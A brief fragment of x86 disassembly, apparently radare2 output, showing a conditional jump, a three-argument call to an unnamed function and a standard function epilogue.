jne 0x45f5ee
push esi
push 0x104
push edi
call fcn.005c1442
add esp, 0xc
pop edi
pop esi
mov esp, ebp
pop ebp
ret